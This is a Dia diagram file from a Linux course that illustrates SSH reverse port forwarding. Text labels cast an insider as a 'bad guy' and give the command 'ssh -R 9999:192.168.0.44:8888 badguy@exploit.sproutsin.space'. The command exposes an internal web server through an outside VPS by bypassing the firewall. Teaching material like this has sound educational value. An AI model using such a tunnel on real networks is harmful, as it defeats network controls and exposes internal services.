linux_course_doc/modules/qualifying/assets/ssh_reverse_forwarding.dia

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<?xml version="1.0" encoding="UTF-8"?>
<dia:diagram xmlns:dia="http://www.lysator.liu.se/~alla/dia/">
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<dia:attribute name="subscale">
<dia:real val="1"/>
</dia:attribute>
</dia:object>
<dia:object type="Standard - ZigZagLine" version="1" id="O10">
<dia:attribute name="obj_pos">
<dia:point val="31.1255,7.7803"/>
</dia:attribute>
<dia:attribute name="obj_bb">
<dia:rectangle val="27.6178,7.4185;31.1755,13.4295"/>
</dia:attribute>
<dia:attribute name="orth_points">
<dia:point val="31.1255,7.7803"/>
<dia:point val="29.3146,7.7803"/>
<dia:point val="29.3146,13.0676"/>
<dia:point val="27.6678,13.0676"/>
</dia:attribute>
<dia:attribute name="orth_orient">
<dia:enum val="0"/>
<dia:enum val="1"/>
<dia:enum val="0"/>
</dia:attribute>
<dia:attribute name="autorouting">
<dia:boolean val="false"/>
</dia:attribute>
<dia:attribute name="line_style">
<dia:enum val="4"/>
</dia:attribute>
<dia:attribute name="start_arrow">
<dia:enum val="22"/>
</dia:attribute>
<dia:attribute name="start_arrow_length">
<dia:real val="0.5"/>
</dia:attribute>
<dia:attribute name="start_arrow_width">
<dia:real val="0.5"/>
</dia:attribute>
<dia:attribute name="end_arrow">
<dia:enum val="22"/>
</dia:attribute>
<dia:attribute name="end_arrow_length">
<dia:real val="0.5"/>
</dia:attribute>
<dia:attribute name="end_arrow_width">
<dia:real val="0.5"/>
</dia:attribute>
<dia:connections>
<dia:connection handle="0" to="O9" connection="4"/>
<dia:connection handle="1" to="O0" connection="19"/>
</dia:connections>
</dia:object>
<dia:object type="Standard - Text" version="1" id="O11">
<dia:attribute name="obj_pos">
<dia:point val="11.8289,20.5909"/>
</dia:attribute>
<dia:attribute name="obj_bb">
<dia:rectangle val="8.5652,20.5909;15.1114,22.9945"/>
</dia:attribute>
<dia:attribute name="text">
<dia:composite type="text">
<dia:attribute name="string">
<dia:string>#good guy
internal HTTP server
192.168.0.44:8888#</dia:string>
</dia:attribute>
<dia:attribute name="font">
<dia:font family="sans" style="0" name="Helvetica"/>
</dia:attribute>
<dia:attribute name="height">
<dia:real val="0.80000000000000004"/>
</dia:attribute>
<dia:attribute name="pos">
<dia:point val="11.8289,21.2046"/>
</dia:attribute>
<dia:attribute name="color">
<dia:color val="#000000ff"/>
</dia:attribute>
<dia:attribute name="alignment">
<dia:enum val="1"/>
</dia:attribute>
</dia:composite>
</dia:attribute>
<dia:attribute name="valign">
<dia:enum val="0"/>
</dia:attribute>
<dia:connections>
<dia:connection handle="0" to="O5" connection="1"/>
</dia:connections>
</dia:object>
<dia:object type="Standard - Text" version="1" id="O12">
<dia:attribute name="obj_pos">
<dia:point val="22.8289,6"/>
</dia:attribute>
<dia:attribute name="obj_bb">
<dia:rectangle val="20.6914,3.6525;24.9664,6"/>
</dia:attribute>
<dia:attribute name="text">
<dia:composite type="text">
<dia:attribute name="string">
<dia:string>#bad guy
SSH client
192.168.0.66#</dia:string>
</dia:attribute>
<dia:attribute name="font">
<dia:font family="sans" style="0" name="Helvetica"/>
</dia:attribute>
<dia:attribute name="height">
<dia:real val="0.80000000000000004"/>
</dia:attribute>
<dia:attribute name="pos">
<dia:point val="22.8289,4.2475"/>
</dia:attribute>
<dia:attribute name="color">
<dia:color val="#000000ff"/>
</dia:attribute>
<dia:attribute name="alignment">
<dia:enum val="1"/>
</dia:attribute>
</dia:composite>
</dia:attribute>
<dia:attribute name="valign">
<dia:enum val="1"/>
</dia:attribute>
<dia:connections>
<dia:connection handle="0" to="O4" connection="0"/>
</dia:connections>
</dia:object>
<dia:object type="Network - A Workstation" version="1" id="O13">
<dia:attribute name="obj_pos">
<dia:point val="41,12"/>
</dia:attribute>
<dia:attribute name="obj_bb">
<dia:rectangle val="40.9,11.9;50.1,14.35"/>
</dia:attribute>
<dia:attribute name="meta">
<dia:composite type="dict"/>
</dia:attribute>
<dia:attribute name="elem_corner">
<dia:point val="41,12"/>
</dia:attribute>
<dia:attribute name="elem_width">
<dia:real val="9"/>
</dia:attribute>
<dia:attribute name="elem_height">
<dia:real val="2.25"/>
</dia:attribute>
<dia:attribute name="line_width">
<dia:real val="0.10000000000000001"/>
</dia:attribute>
<dia:attribute name="line_colour">
<dia:color val="#000000ff"/>
</dia:attribute>
<dia:attribute name="fill_colour">
<dia:color val="#ffffffff"/>
</dia:attribute>
<dia:attribute name="show_background">
<dia:boolean val="true"/>
</dia:attribute>
<dia:attribute name="line_style">
<dia:enum val="0"/>
<dia:real val="1"/>
</dia:attribute>
<dia:attribute name="flip_horizontal">
<dia:boolean val="false"/>
</dia:attribute>
<dia:attribute name="flip_vertical">
<dia:boolean val="false"/>
</dia:attribute>
<dia:attribute name="subscale">
<dia:real val="1"/>
</dia:attribute>
</dia:object>
<dia:object type="Standard - ZigZagLine" version="1" id="O14">
<dia:attribute name="obj_pos">
<dia:point val="38.0081,7.7803"/>
</dia:attribute>
<dia:attribute name="obj_bb">
<dia:rectangle val="37.9581,7.4185;41.05,13.4868"/>
</dia:attribute>
<dia:attribute name="orth_points">
<dia:point val="38.0081,7.7803"/>
<dia:point val="39.5041,7.7803"/>
<dia:point val="39.5041,13.125"/>
<dia:point val="41,13.125"/>
</dia:attribute>
<dia:attribute name="orth_orient">
<dia:enum val="0"/>
<dia:enum val="1"/>
<dia:enum val="0"/>
</dia:attribute>
<dia:attribute name="autorouting">
<dia:boolean val="true"/>
</dia:attribute>
<dia:attribute name="line_style">
<dia:enum val="4"/>
</dia:attribute>
<dia:attribute name="start_arrow">
<dia:enum val="22"/>
</dia:attribute>
<dia:attribute name="start_arrow_length">
<dia:real val="0.5"/>
</dia:attribute>
<dia:attribute name="start_arrow_width">
<dia:real val="0.5"/>
</dia:attribute>
<dia:attribute name="end_arrow">
<dia:enum val="22"/>
</dia:attribute>
<dia:attribute name="end_arrow_length">
<dia:real val="0.5"/>
</dia:attribute>
<dia:attribute name="end_arrow_width">
<dia:real val="0.5"/>
</dia:attribute>
<dia:connections>
<dia:connection handle="0" to="O9" connection="4"/>
<dia:connection handle="1" to="O13" connection="0"/>
</dia:connections>
</dia:object>
<dia:object type="Standard - Text" version="1" id="O15">
<dia:attribute name="obj_pos">
<dia:point val="45.5,12"/>
</dia:attribute>
<dia:attribute name="obj_bb">
<dia:rectangle val="41.7975,7.19644;49.2212,12"/>
</dia:attribute>
<dia:attribute name="text">
<dia:composite type="text">
<dia:attribute name="string">
<dia:string>#VPS with OVH
running SSH server
+
nginx reverse proxy
@
exploit.sproutsin.space#</dia:string>
</dia:attribute>
<dia:attribute name="font">
<dia:font family="sans" style="0" name="Helvetica"/>
</dia:attribute>
<dia:attribute name="height">
<dia:real val="0.80000000000000004"/>
</dia:attribute>
<dia:attribute name="pos">
<dia:point val="45.5,7.81012"/>
</dia:attribute>
<dia:attribute name="color">
<dia:color val="#000000ff"/>
</dia:attribute>
<dia:attribute name="alignment">
<dia:enum val="1"/>
</dia:attribute>
</dia:composite>
</dia:attribute>
<dia:attribute name="valign">
<dia:enum val="1"/>
</dia:attribute>
<dia:connections>
<dia:connection handle="0" to="O13" connection="2"/>
</dia:connections>
</dia:object>
<dia:object type="Standard - ZigZagLine" version="1" id="O16">
<dia:attribute name="obj_pos">
<dia:point val="23.7139,8.29545"/>
</dia:attribute>
<dia:attribute name="obj_bb">
<dia:rectangle val="23.6639,4.95;52.05,13.4868"/>
</dia:attribute>
<dia:attribute name="orth_points">
<dia:point val="23.7139,8.29545"/>
<dia:point val="28,8.29545"/>
<dia:point val="28,5"/>
<dia:point val="52,5"/>
<dia:point val="52,13.125"/>
<dia:point val="50.0501,13.125"/>
</dia:attribute>
<dia:attribute name="orth_orient">
<dia:enum val="0"/>
<dia:enum val="1"/>
<dia:enum val="0"/>
<dia:enum val="1"/>
<dia:enum val="0"/>
</dia:attribute>
<dia:attribute name="autorouting">
<dia:boolean val="false"/>
</dia:attribute>
<dia:attribute name="line_color">
<dia:color val="#ff0000ff"/>
</dia:attribute>
<dia:attribute name="end_arrow">
<dia:enum val="22"/>
</dia:attribute>
<dia:attribute name="end_arrow_length">
<dia:real val="0.5"/>
</dia:attribute>
<dia:attribute name="end_arrow_width">
<dia:real val="0.5"/>
</dia:attribute>
<dia:connections>
<dia:connection handle="0" to="O4" connection="2"/>
<dia:connection handle="1" to="O13" connection="8"/>
</dia:connections>
</dia:object>
<dia:object type="Standard - ZigZagLine" version="1" id="O17">
<dia:attribute name="obj_pos">
<dia:point val="21.8227,8.29545"/>
</dia:attribute>
<dia:attribute name="obj_bb">
<dia:rectangle val="12.665,2.95;21.8727,18.6573"/>
</dia:attribute>
<dia:attribute name="orth_points">
<dia:point val="21.8227,8.29545"/>
<dia:point val="20,8.29545"/>
<dia:point val="20,3"/>
<dia:point val="15,3"/>
<dia:point val="15,18.2955"/>
<dia:point val="12.715,18.2955"/>
</dia:attribute>
<dia:attribute name="orth_orient">
<dia:enum val="0"/>
<dia:enum val="1"/>
<dia:enum val="0"/>
<dia:enum val="1"/>
<dia:enum val="0"/>
</dia:attribute>
<dia:attribute name="autorouting">
<dia:boolean val="false"/>
</dia:attribute>
<dia:attribute name="line_color">
<dia:color val="#00ff00ff"/>
</dia:attribute>
<dia:attribute name="end_arrow">
<dia:enum val="22"/>
</dia:attribute>
<dia:attribute name="end_arrow_length">
<dia:real val="0.5"/>
</dia:attribute>
<dia:attribute name="end_arrow_width">
<dia:real val="0.5"/>
</dia:attribute>
<dia:connections>
<dia:connection handle="0" to="O4" connection="2"/>
<dia:connection handle="1" to="O5" connection="2"/>
</dia:connections>
</dia:object>
<dia:object type="Standard - Text" version="1" id="O18">
<dia:attribute name="obj_pos">
<dia:point val="40,5"/>
</dia:attribute>
<dia:attribute name="obj_bb">
<dia:rectangle val="29.6187,4.2525;50.3812,5"/>
</dia:attribute>
<dia:attribute name="text">
<dia:composite type="text">
<dia:attribute name="string">
<dia:string>#ssh -R 9999:192.168.0.44:8888 badguy@exploit.sproutsin.space#</dia:string>
</dia:attribute>
<dia:attribute name="font">
<dia:font family="sans" style="0" name="Helvetica"/>
</dia:attribute>
<dia:attribute name="height">
<dia:real val="0.80000000000000004"/>
</dia:attribute>
<dia:attribute name="pos">
<dia:point val="40,4.8475"/>
</dia:attribute>
<dia:attribute name="color">
<dia:color val="#000000ff"/>
</dia:attribute>
<dia:attribute name="alignment">
<dia:enum val="1"/>
</dia:attribute>
</dia:composite>
</dia:attribute>
<dia:attribute name="valign">
<dia:enum val="1"/>
</dia:attribute>
<dia:connections>
<dia:connection handle="0" to="O16" connection="2"/>
</dia:connections>
</dia:object>
<dia:object type="Standard - Text" version="1" id="O19">
<dia:attribute name="obj_pos">
<dia:point val="17.5,3"/>
</dia:attribute>
<dia:attribute name="obj_bb">
<dia:rectangle val="12.0712,0.6525;22.9288,3"/>
</dia:attribute>
<dia:attribute name="text">
<dia:composite type="text">
<dia:attribute name="string">
<dia:string>#exposes the internal website
to the outside world by bypassing
the firewall#</dia:string>
</dia:attribute>
<dia:attribute name="font">
<dia:font family="sans" style="0" name="Helvetica"/>
</dia:attribute>
<dia:attribute name="height">
<dia:real val="0.80000000000000004"/>
</dia:attribute>
<dia:attribute name="pos">
<dia:point val="17.5,1.2475"/>
</dia:attribute>
<dia:attribute name="color">
<dia:color val="#000000ff"/>
</dia:attribute>
<dia:attribute name="alignment">
<dia:enum val="1"/>
</dia:attribute>
</dia:composite>
</dia:attribute>
<dia:attribute name="valign">
<dia:enum val="1"/>
</dia:attribute>
<dia:connections>
<dia:connection handle="0" to="O17" connection="2"/>
</dia:connections>
</dia:object>
<dia:object type="Network - General Monitor (With Stand)" version="1" id="O20">
<dia:attribute name="obj_pos">
<dia:point val="45,21"/>
</dia:attribute>
<dia:attribute name="obj_bb">
<dia:rectangle val="43.9882,20.95;49.5457,25.4453"/>
</dia:attribute>
<dia:attribute name="meta">
<dia:composite type="dict"/>
</dia:attribute>
<dia:attribute name="elem_corner">
<dia:point val="45,21"/>
</dia:attribute>
<dia:attribute name="elem_width">
<dia:real val="3.5338983050847457"/>
</dia:attribute>
<dia:attribute name="elem_height">
<dia:real val="3.4750000000000001"/>
</dia:attribute>
<dia:attribute name="line_width">
<dia:real val="0.10000000000000001"/>
</dia:attribute>
<dia:attribute name="line_colour">
<dia:color val="#000000ff"/>
</dia:attribute>
<dia:attribute name="fill_colour">
<dia:color val="#ffffffff"/>
</dia:attribute>
<dia:attribute name="show_background">
<dia:boolean val="true"/>
</dia:attribute>
<dia:attribute name="line_style">
<dia:enum val="0"/>
<dia:real val="1"/>
</dia:attribute>
<dia:attribute name="padding">
<dia:real val="0.10000000000000001"/>
</dia:attribute>
<dia:attribute name="text">
<dia:composite type="text">
<dia:attribute name="string">
<dia:string>#thrid party client#</dia:string>
</dia:attribute>
<dia:attribute name="font">
<dia:font family="sans" style="0" name="Helvetica"/>
</dia:attribute>
<dia:attribute name="height">
<dia:real val="0.80000000000000004"/>
</dia:attribute>
<dia:attribute name="pos">
<dia:point val="46.7669,25.1928"/>
</dia:attribute>
<dia:attribute name="color">
<dia:color val="#000000ff"/>
</dia:attribute>
<dia:attribute name="alignment">
<dia:enum val="1"/>
</dia:attribute>
</dia:composite>
</dia:attribute>
<dia:attribute name="text_fitting">
<dia:enum val="0"/>
</dia:attribute>
<dia:attribute name="flip_horizontal">
<dia:boolean val="false"/>
</dia:attribute>
<dia:attribute name="flip_vertical">
<dia:boolean val="false"/>
</dia:attribute>
<dia:attribute name="subscale">
<dia:real val="1"/>
</dia:attribute>
</dia:object>
<dia:object type="Standard - ZigZagLine" version="1" id="O21">
<dia:attribute name="obj_pos">
<dia:point val="46.7669,20.9751"/>
</dia:attribute>
<dia:attribute name="obj_bb">
<dia:rectangle val="34.2209,9.51172;47.1288,21.0251"/>
</dia:attribute>
<dia:attribute name="orth_points">
<dia:point val="46.7669,20.9751"/>
<dia:point val="46.7669,20"/>
<dia:point val="34.5827,20"/>
<dia:point val="34.5827,9.56172"/>
</dia:attribute>
<dia:attribute name="orth_orient">
<dia:enum val="1"/>
<dia:enum val="0"/>
<dia:enum val="1"/>
</dia:attribute>
<dia:attribute name="autorouting">
<dia:boolean val="false"/>
</dia:attribute>
<dia:attribute name="line_style">
<dia:enum val="4"/>
</dia:attribute>
<dia:attribute name="start_arrow">
<dia:enum val="22"/>
</dia:attribute>
<dia:attribute name="start_arrow_length">
<dia:real val="0.5"/>
</dia:attribute>
<dia:attribute name="start_arrow_width">
<dia:real val="0.5"/>
</dia:attribute>
<dia:attribute name="end_arrow">
<dia:enum val="22"/>
</dia:attribute>
<dia:attribute name="end_arrow_length">
<dia:real val="0.5"/>
</dia:attribute>
<dia:attribute name="end_arrow_width">
<dia:real val="0.5"/>
</dia:attribute>
<dia:connections>
<dia:connection handle="0" to="O20" connection="1"/>
<dia:connection handle="1" to="O9" connection="4"/>
</dia:connections>
</dia:object>
<dia:object type="Standard - Text" version="1" id="O22">
<dia:attribute name="obj_pos">
<dia:point val="40.6748,20"/>
</dia:attribute>
<dia:attribute name="obj_bb">
<dia:rectangle val="35.6236,16.8525;45.7261,20"/>
</dia:attribute>
<dia:attribute name="text">
<dia:composite type="text">
<dia:attribute name="string">
<dia:string>#can access the internal website
via the bad guy's ssh tunnel
by connecting to
exploit.sproutsin.space#</dia:string>
</dia:attribute>
<dia:attribute name="font">
<dia:font family="sans" style="0" name="Helvetica"/>
</dia:attribute>
<dia:attribute name="height">
<dia:real val="0.80000000000000004"/>
</dia:attribute>
<dia:attribute name="pos">
<dia:point val="40.6748,17.4475"/>
</dia:attribute>
<dia:attribute name="color">
<dia:color val="#000000ff"/>
</dia:attribute>
<dia:attribute name="alignment">
<dia:enum val="1"/>
</dia:attribute>
</dia:composite>
</dia:attribute>
<dia:attribute name="valign">
<dia:enum val="1"/>
</dia:attribute>
<dia:connections>
<dia:connection handle="0" to="O21" connection="1"/>
</dia:connections>
</dia:object>
</dia:layer>
</dia:diagram>